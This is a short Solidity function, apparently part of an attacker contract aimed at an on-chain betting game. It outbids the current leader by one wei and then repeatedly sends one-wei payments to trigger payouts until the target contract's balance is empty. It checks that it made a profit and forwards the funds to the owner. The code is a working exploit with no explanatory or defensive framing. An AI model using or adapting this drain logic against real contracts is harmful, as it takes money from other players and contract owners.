function ping(bool _keepBalance) public payable onlyOwner {
        uint256 ourBalanceInitial = address(this).balance;

        TargetInterface target = TargetInterface(targetAddress);
        
        uint256 playersNum = target.getPlayersNum();
        require(playersNum > 0);
        
        if (playersNum == 1) {
            (new PseudoBet).value(1 wei)(targetAddress);
        }
        
        (, uint256 leaderBet) = target.getLeader();
        uint256 bet = leaderBet + 1;
        
        (bool success,) = targetAddress.call.value(bet)("");
        require(success);
        
        for (uint256 ourBetIndex = 0; ourBetIndex < 100; ourBetIndex++) {
            if (targetAddress.balance == 0) {
                break;
            }

            (bool anotherSuccess,) = targetAddress.call.value(1 wei)("");
            require(anotherSuccess);
        }
        
        require(address(this).balance > ourBalanceInitial);
        
        if (!_keepBalance) {
            owner.transfer(address(this).balance);
        }
    }